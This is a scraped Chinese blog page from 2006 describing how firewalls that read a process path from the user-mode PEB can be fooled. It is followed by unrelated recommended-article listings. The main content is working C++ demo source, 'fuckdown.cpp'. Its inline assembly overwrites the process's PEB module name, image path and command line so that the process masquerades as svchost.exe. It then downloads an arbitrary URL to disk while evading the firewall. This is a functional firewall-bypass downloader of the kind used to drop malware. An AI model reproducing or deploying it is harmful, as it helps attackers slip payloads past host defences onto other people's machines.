防火墙普遍存在的设计缺陷--关于进程路径的获取

开源反控极域工具技术解析:进程终结、网络干扰与权限恢复 在Windows系统管理与软件安全领域,进程控制、网络通信和API钩子是核心基础概念。进程管理涉及通过系统调用如TerminateProcess结束目标程序;网络通信控制则可通过防火墙规则或协议分析实现干扰;API钩子技术允许程序拦截系统调用,常用于功能限制。这些技术的工程价值在于实现精细化的系统行为管控与安全防护。在教育机房管理等场景中,课堂管理软件常综合运用这些技术实现屏幕广播、程序限制等功能。针对此类控制,技术社区出现了相应的对抗工具,其典型实现路径包括强制结束管理软件进程、干扰其网络通信端口或协议、 阅读详情

作者:RonCha
主页:http://blog.youkuaiyun.com/RonCha/
当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。

DEMO代码如下,如需更完整的信息请与我联系:

//  fuckdown.cpp : Defines the entry point for the console application.
//
//   [9/19/2006 RonCha]
#include  " stdafx.h "
#include 
< urlmon.h >
#pragma  comment(lib,"urlmon.lib")

char  szpath[MAX_PATH] = {0} ;
OLECHAR path[MAX_PATH]
= {0} ;


void  ChangPath();

int  main( int  argc,  char *  argv[])
{

    
//修改路径
    ChangPath();
    
if (argc==3)
    
{
         
if (argv[1]!="" && argv[2]!="")
         
{
            HRESULT hRet
=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
            
if(hRet==S_OK)
                printf(
" Down Success! ");
            
else
                printf(
" Can't down the file! ");
            
return 1;
         }

    }

    printf(
"Author:RonCha ");
    printf(
"Web:http://blog.youkuaiyun.com/RonCha ");
    printf(
"Usage:fuckdown.exe downurl savepath ");
    
return 0;
}


void  ChangPath()
{
    
//将该进程伪装为svchost.exe
    int slen;
    slen
=GetSystemDirectory(szpath,MAX_PATH);
    slen
=GetSystemDirectory(szpath,slen);
    lstrcat(szpath,
"/svchost.exe");
    
//转化为Unicode字符
    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
    __asm
    
{            
            MOV EAX, fs:[30h]            
//get the PEB address
            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA
            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList
            lea ebx,path
            mov WORD ptr[EAX
+0x24],0x60  //FullDllName->Length
            mov [EAX+0x28],ebx             //FullDllName->Buffer
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
            lea ebx,path
            mov [eax],ebx                 
//ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,path
            mov [eax],ebx                
//CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }

}

 

C++ API拦截源码 C++ API拦截源码 修改导入表 自己看一下,要改的地方改一下,很不错的例子 立即下载

相关推荐

简易防火墙(使用C++与Qt4.5)(带源代码)

功能说明: 1. 简易网络防火墙,采用SPI技术,支持黑、白名单,且名单使用XML文件存储。 2. 本来还想添加内容过滤功能,由于时间关系,没有做……以后有时间再添加吧。 运行说明: 1. 可执行文件在OutputFiles文件夹中,FrontEnd为主文件。 2. 运行前需将BackendDriver.dll和QtCore4.dll拷贝至C:\Windows\System32文件夹中(假设系统装在C盘)。 3. 运行时,先加载System32文件夹中的BackendDriver.dll为驱动,然后即可使用。 4. 由于使用VS2008SP1编译,如果不能运行,请下载并安装VS2008SP1的再分发包(http://www.microsoft.com/downloads/details.aspx?FamilyID=a5c84275-3b97-4ab7-a40d-3802b2af5fc2&displaylang=en)。 编译说明: 1. 程序使用VS2008SP1编译,使用了Qt4.5.2库。想修改并编译的,自己配置环境吧……

c++ 防火墙设计模式PImpl

编译防火墙~PImpl [3] CrazyRabbit 人民广场放鸽子大赛唯一到场选手 PImpl(Pointer to implementation)是一种C++编程技术,其通过将类的实现的详细信息放在另一个单独的类中,并通过不透明的指针来访问。这项技术能够将实现的细节从其对象中去除,还能减少编译依赖。有人将其称为“编译防火墙(Compilation Firewalls)”。 Herb Sutter(C++标准委员会成员)写了一些相关的博客,对其博客做一个翻译记录: GotW #7a Sol

流媒体巅峰之路 1176

防火墙源代码(C++)

非常完整的防火墙源代码,使用C++编写,希望对您有用。

Linux防火墙firewalld安全设置

防火墙是指设置在不同网络或网络安全域之间的一系列部件的组合,它能增强机构内部网络的安全性。它通过访问控制机制,确定哪些内部服务允许外部访问,以及允许哪些外部请求可以访问内部服务。它可以根据网络传输的类型决定IP包是否可以传进或传出内部网。防火墙通过审查经过的每一个数据包,判断它是否有相匹配的过滤规则,根据规则的先后顺序进行一一比较,直到满足其中的一条规则为止,然后依据控制机制做出相应的动作。如果都不满足,则将数据包丢弃,从而保护网络的安全。Linux系统的防火墙功能是由内核实现的。

m0_59598029的博客 1304

用C++编写的防火墙

个人简易防火墙,C++,程序代码很全。是很好的学习例子

个人防火墙

这是一个个人防火墙项目,采用Winsock2 SPI技术,对LSP进行开发,并HOOK Winsock API后注入DLL,可以对TCP UDP RAW三种协议发送的报文按照自定义规则进行过滤。

计算机网络 - iptables 防火墙

目录 1. iptables 的四表五链 1.1 规则链 1.1.1 默认的5种规则链 1.1.2 规则链间的匹配顺序 1.1.3 规则链内的匹配顺序 1.2 规则表 1.2.1 默认的4个规则表 1.2.2 规则表之间的优先顺序 1.3 数据包过滤匹配流程 2. iptables命令的语法格式 2.1 设置规则内容: 2.2 列表查看规则 2.3 清除规则 2.4 策略: 2.5 定时清除iptables规则 2.6 自定义规则链 2....

qq_48391148的博客 2648

算法 A 求稳健平均值和稳健标准差

文章目录算法原理代码 算法原理 算法 A 来自 GB/T 6379.5。应用此算法计算得到数据平均值和标准差的稳健值。稳健性是估计算法的特点,而不是其产生的估计值的特点,因此严格来说,称由此算法计算的平均值和标准差是稳健的是不确切的。然而,为避免使用繁琐的术语,“稳健均值”和“稳健标准差”应理解为利用稳健算法计算的总体均值和总体标准差的均值估计。 设数据为 xi,i∈(1,2,⋯ ,n)x_i, i\in(1,2,\cdots,n)xi​,i∈(1,2,⋯,n),记稳健平均值为 x∗,s∗x^*, s^*x

zhuo木鸟的博客 9254

c++防火墙代码

这个防火墙类有一个构造函数,它需要一个允许的IP地址向量,并将其存储。它还有一个is_allowed()`方法,它接受一个IP地址,并将该地址与允许的地址进行比较。如果提供的IP是一个允许的IP,则返回true,否则返回false。在主函数中,我们实例化了一个防火墙对象并指定允许的IP地址。然后,我们要求用户提供一个IP地址,并使用`is_allowed()方法检查该地址是否允许访问。最后,我们输出一个访问授权或拒绝的消息。

SYC20110120的博客 1500

抖音直播行为规范考试

抖音直播行为规范考试

Q1642968641的博客 1万+

Win11系统重装全记录:从备份Office激活到搞定RAID阵列,我的微星笔记本复活记

本文详细记录了Win11系统重装的完整过程,从数据备份到RAID阵列配置,特别针对微星笔记本的特殊硬件驱动问题提供了解决方案。文章涵盖了Office激活状态备份、BIOS设置、驱动安装顺序等关键步骤,帮助用户顺利完成系统重装并优化性能。

weixin_31421613的博客 309

关于进程路径的获取---防火墙普遍存在的设计缺陷

防火墙普遍存在的设计缺陷--关于进程路径的获取     当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。DEMO

653

Go基础:Go语言详细介绍,环境搭建,及第一个程序详解

Go语言是Google开发的开源编程语言,具有高效、简洁、并发性强等特点。文章从Go语言的诞生背景、核心特性及应用领域展开介绍,并详细说明了Windows、Linux和macOS下的环境搭建步骤,包括安装、环境变量配置及测试方法。最后通过“Hello, World!”程序解析Go语言基本语法,并演示了编译发布和跨平台编译功能。全文涵盖了Go语言从入门到实践的完整流程,适合初学者快速上手。

数据知道的博客 6799

从JiraWhitelist逻辑缺陷看企业内网安全:CVE-2019-8451 SSRF漏洞的深度防御思考

本文深入分析了CVE-2019-8451 SSRF漏洞在企业内网安全中的严重威胁,揭示了JiraWhitelist逻辑缺陷如何被利用绕过安全防护。通过剖析漏洞原理、常见防护误区及纵深防御策略,为企业提供了从应用层加固到架构安全的全面解决方案,强调将SSRF检测融入DevSecOps流程的重要性。

weixin_30555515的博客 384

材料带隙预测(图神经网络)(⭐⭐)—— 用晶体图网络预测钙钛矿材料的能带隙,加速光伏材料筛选。技术栈:CGCNN、MEGNet、Materials Project数据集

钙钛矿太阳能电池以其高效率、低成本的优势迅速崛起,但传统“试错法”材料筛选效率极低,严重制约了光伏技术的迭代速度。近年来,基于图神经网络的材料带隙预测方法,特别是晶体图神经网络(CGCNN)和材料图网络(MEGNet),为这一问题提供了革命性的解决方案。本文系统梳理了材料带隙预测从传统计算到深度学习的演进历程,深入剖析了CGCNN与MEGNet的架构设计、数学原理及创新机制,详细阐述了Materials Project数据集的构建、特征工程与处理策略。

2201_76125393的博客 47

饥饿游戏搜索算法(HGS)详解:从生物激励到智能优化

饥饿游戏搜索算法(HGS)是一种受动物饥饿驱动觅食行为启发的智能优化算法。该算法通过模拟生物饥饿程度与觅食策略的关系,将个体适应度映射为饥饿感,并据此动态调整搜索行为。HGS的核心机制包括:1) 饥饿权重计算(W1/W2),2) 三种位置更新策略(随机探索、正向/负向协作),3) 自适应平衡参数E。算法通过迭代优化逐步改进解的质量,具有参数自适应、全局搜索能力强等特点,在复杂优化问题中表现出色。相比传统优化方法,HGS更注重个体内部状态对搜索行为的影响,实现了探索与开发的自然平衡。

qq_42212808的博客 155

企业级防火墙安全配置避坑:从启明星辰天清汉马USG漏洞看权限管理

本文以启明星辰天清汉马USG防火墙的逻辑漏洞为例,深入剖析企业级防火墙权限管理的常见陷阱。该漏洞暴露了权限分离机制失效的风险,允许低权限用户越权提升至管理员。文章重点探讨了权限配置误区,并提供了构建严格角色分离模型、强化认证与持续审计等最佳实践,旨在帮助企业筑牢防火墙管理面的安全防线。

plum99的博客 590

Doris磁盘空间管理(生命周期管理、清理磁盘空间方法)

在进行数据仓库开发时,比较头疼的是历史数据不删除,磁盘空间不断增长,如果磁盘空间不足时,spark调度任务写入时就会报错。

大模型大数据攻城狮的专栏 1718

从‘lc‘键漏洞看AI框架的信任边界设计:LangChain安全事件启示录

本文深入分析了LangChain框架的CVE-2025-68664安全漏洞,揭示了AI框架在信任边界设计上的缺陷。通过技术解构和与传统漏洞的对比,提出了动态信任评估模型和安全编码规范,为企业提供了从紧急处置到长期治理的全方位防护方案。文章强调将安全作为AI框架设计的核心约束,以避免类似'lc'键漏洞事件的重演。

desk3的博客 707

【BUG已解决】RuntimeError: CUDA error: no kernel image is available for execution on the device 解决方案

方案适用场景推荐指数精确匹配官方版本绝大多数场景(大众消费卡+主流数据中心卡)⭐⭐⭐⭐⭐安装历史旧版本Pascal/Maxwell等老显卡⭐⭐⭐⭐安装Nightly版本刚发布的最新架构显卡⭐⭐⭐⭐源码编译官方各版本均不支持的特殊硬件⭐⭐Docker官方镜像追求省心、避免版本排查⭐⭐⭐⭐⭐的核心是PyTorch 预编译包不包含你显卡对应的计算能力架构先确认显卡真实计算能力),而不是盲目重装驱动对比 PyTorch 支持的架构列表),定位是否真的不匹配精确匹配官方版本。

博客 1万+

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

网络项目毕业设计模板|毕设答辩|毕业设计项目|某某公司厂区网规划设计

伴随着工业4.0、智能制造战略的不断发展,传统的制造企业正由劳动密集型向技术密集型发生着深刻转变。园区网络为企业信息化奠定基础,伴随着转型进程的发展,其在企业发展过程中所起的作用也越来越重要。现代制造企业生产运营很大程度上依靠信息系统,产品研发、生产计划、物料管理、质量控制、仓储物流等各个环节都需要稳定的网络支持。但是大多数制造企业园区网络的建设和维护无法满足企业业务发展的需要,网络带宽不足、覆盖不到所有角落、安全保护能力差的问题普遍存在于众多的企业中,是造成企业数字化转型遇到的障碍之一。在智能制造的大背景

y14736644385的博客 86

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

上一篇: 那些测试的知识我都曾在幼儿园里学过
RonCha
博客等级 码龄21年 6粉丝 1原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值